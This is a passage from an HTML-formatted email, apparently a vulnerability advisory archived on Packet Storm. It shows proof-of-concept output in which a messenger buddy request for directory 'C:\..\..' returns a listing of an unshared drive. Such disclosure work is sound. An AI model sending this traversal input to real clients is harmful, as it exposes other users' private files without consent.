isfolder=3D'<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>79 27 2F 3E 3C 2F 66 69 6C 65 6C =
69 73
74 3E 00 y'/></filelist>.<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>00 00 00 00 00
00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
......<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>&nbsp;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>buddy id =3D =
YYYYYY@nate.com<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Reques<st1:PersonName =
w:st=3D"on">ted</st1:PersonName>
directory =3D 'C:\..\..'<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>File lists on unshared =
directory<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>&nbsp;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><filelist =
id=3D'YYYYYY@nate.com'
auth=3D'2' path=3D'C:\..\..' =
folderid=3D'0'><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file
name=3D'AUTOEXEC.BAT'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;
size=3D'0'&nbsp;&nbsp;&nbsp;&nbsp; date=3D'<st1:date o:ls=3D"trans" =
Year=3D"2004"
Month=3D"9" Day=3D"15" w:st=3D"on">2004-09-15</st1:date> <st1:time =
o:ls=3D"trans"
Hour=3D"16" Minute=3D"42" w:st=3D"on">16:42:07</st1:time>' =
isfolder=3D'n'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file
name=3D'CONFIG.SYS'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;
size=3D'0'&nbsp;&nbsp;&nbsp;&nbsp; date=3D'<st1:date o:ls=3D"trans" =
Year=3D"2004"
Month=3D"9" Day=3D"15" w:st=3D"on">2004-09-15</st1:date> <st1:time =
o:ls=3D"trans"
Hour=3D"16" Minute=3D"42" w:st=3D"on">16:42:07</st1:time>' =
isfolder=3D'n'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file
name=3D'desktop_audit.txt'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
size=3D'2084'&nbsp; date=3D'<st1:date
o:ls=3D"trans" Year=3D"2005" Month=3D"5" Day=3D"24" =
w:st=3D"on">2005-05-24</st1:date> <st1:time
o:ls=3D"trans" Hour=3D"0" Minute=3D"22" w:st=3D"on">00:22:28</st1:time>'
isfolder=3D'n'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file
name=3D'dn.vbs'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
size=3D'324'&nbsp;&nbsp; date=3D'<st1:date o:ls=3D"trans" Year=3D"2004" =
Month=3D"10"
Day=3D"20" w:st=3D"on">2004-10-20</st1:date> <st1:time o:ls=3D"trans" =
Hour=3D"18"
Minute=3D"31" w:st=3D"on">18:31:38</st1:time>' =
isfolder=3D'n'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file
name=3D'edi.exe'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
size=3D'32768' date=3D'<st1:date o:ls=3D"trans" Year=3D"2004" =
Month=3D"10" Day=3D"20"
w:st=3D"on">2004-10-20</st1:date> <st1:time o:ls=3D"trans" Hour=3D"18" =
Minute=3D"7"
w:st=3D"on">18:07:05</st1:time>' =
isfolder=3D'n'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file
name=3D'ms04-032.wmf'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;
size=3D'576'&nbsp;&nbsp; date=3D'<st1:date o:ls=3D"trans" Year=3D"2004" =
Month=3D"10"
Day=3D"20" w:st=3D"on">2004-10-20</st1:date> <st1:time o:ls=3D"trans" =
Hour=3D"18"
Minute=3D"33" w:st=3D"on">18:33:41</st1:time>' =
isfolder=3D'n'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file
name=3D'concert'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
size=3D'0'&nbsp;&nbsp;&nbsp;&nbsp; date=3D'<st1:date o:ls=3D"trans" =
Year=3D"2004"
Month=3D"10" Day=3D"20" w:st=3D"on">2004-10-20</st1:date> <st1:time =
o:ls=3D"trans"
Hour=3D"15" Minute=3D"12" w:st=3D"on">15:12:57</st1:time>' =
isfolder=3D'y'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file
name=3D'debug'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
size=3D'0'&nbsp;&nbsp;&nbsp;&nbsp; date=3D'<st1:date o:ls=3D"trans" =
Year=3D"2005"
Month=3D"5" Day=3D"23" w:st=3D"on">2005-05-23</st1:date> <st1:time =
o:ls=3D"trans"
Hour=3D"12" Minute=3D"48" w:st=3D"on">12:48:37</st1:time>' =
isfolder=3D'y'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file name=3D'Documents and =
Settings'
size=3D'0'&nbsp;&nbsp;&nbsp;&nbsp; date=3D'<st1:date o:ls=3D"trans" =
Year=3D"2004"
Month=3D"9" Day=3D"15" w:st=3D"on">2004-09-15</st1:date> <st1:time =
o:ls=3D"trans"
Hour=3D"17" Minute=3D"9" w:st=3D"on">17:09:14</st1:time>' =
isfolder=3D'y'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file name=3D'Program
Files'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
size=3D'0'&nbsp;&nbsp;&nbsp;&nbsp; date=3D'<st1:date o:ls=3D"trans" =
Year=3D"2005"
Month=3D"5" Day=3D"26" w:st=3D"on">2005-05-26</st1:date> <st1:time =
o:ls=3D"trans"
Hour=3D"8" Minute=3D"6" w:st=3D"on">08:06:11</st1:time>' =
isfolder=3D'y'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file
name=3D'test'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
size=3D'0'&nbsp;&nbsp;&nbsp;&nbsp; date=3D'<st1:date o:ls=3D"trans" =
Year=3D"2005"
Month=3D"4" Day=3D"20" w:st=3D"on">2005-04-20</st1:date> <st1:time =
o:ls=3D"trans"
Hour=3D"14" Minute=3D"15" w:st=3D"on">14:15:49</st1:time>' =
isfolder=3D'y'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'><file
name=3D'WINDOWS'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
size=3D'0'&nbsp;&nbsp;&nbsp;&nbsp; date=3D'<st1:date o:ls=3D"trans" =
Year=3D"2004"
Month=3D"10" Day=3D"20" w:st=3D"on">2004-10-20</st1:date> <st1:time =
o:ls=3D"trans"
Hour=3D"16" Minute=3D"0" w:st=3D"on">16:00:17</st1:time>' =
isfolder=3D'y'/><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'></filelist>.<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>---------------------[cut
cut]----------------------------------------------<o:p></o:p></span></fon=
t></p>

<p class=3DMsoNormal><font size=3D2 face=3D=B1=BC=B8=B2><span =
lang=3DEN-US style=3D'font-size:10.0pt;
font-family:=B1=BC=B8=B2'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D=B1=BC=B8=B2><span =
lang=3DEN-US style=3D'font-size:10.0pt;
font-family:=B1=BC=B8=B2'>Thanks my Null@Root =
members<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D=B1=BC=B8=B2><span =
lang=3DEN-US style=3D'font-size:10.0pt;
font-family:=B1=BC=B8=B2'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D=B1=BC=B8=B2><span =
lang=3DEN-US style=3D'font-size:10.0pt;
font-family:=B1=BC=B8=B2'>PS. I=A1=AFm very sorry for my poor =
English<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D=B1=BC=B8=B2><span =
lang=3DEN-US style=3D'font-size:10.0pt;
font-family:=B1=BC=B8=B2'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D=B1=BC=B8=B2><span =
lang=3DEN-US style=3D'font-size:10.0pt;
font-family:=B1=BC=B8=B2'>Cheers</span></font><font face=3D"MS Reference =
Sans Serif"><span
lang=3DEN-US style=3D'font-family:"MS Reference Sans =
Serif"'><o:p></o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0026_01C586CF.3CA97D20--



  

  
    
________________________________________________________
¹«·á 1GB¿ë·®!, ´õ ÀÌ»ó ¿ë·® °í¹Î¾ø´Â - ¾ßÈÄ! ¸ÞÀÏ (http://mail.yahoo.co.kr) 
ÃֽŠÈÞ´ëÆù Á¤º¸, º§¼Ò¸®, ij¸¯ÅÍ, ¹®ÀÚ¸Þ¼¼Áö - ¾ßÈÄ! ¸ð¹ÙÀÏ (http://kr.mobile.yahoo.com) 
´ëÇѹα¹ ºí·Î±×°¡ ¸ðÀÎ °÷! - ¾ßÈÄ! ÇÇÇøµ(http://kr.ring.yahoo.com)
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close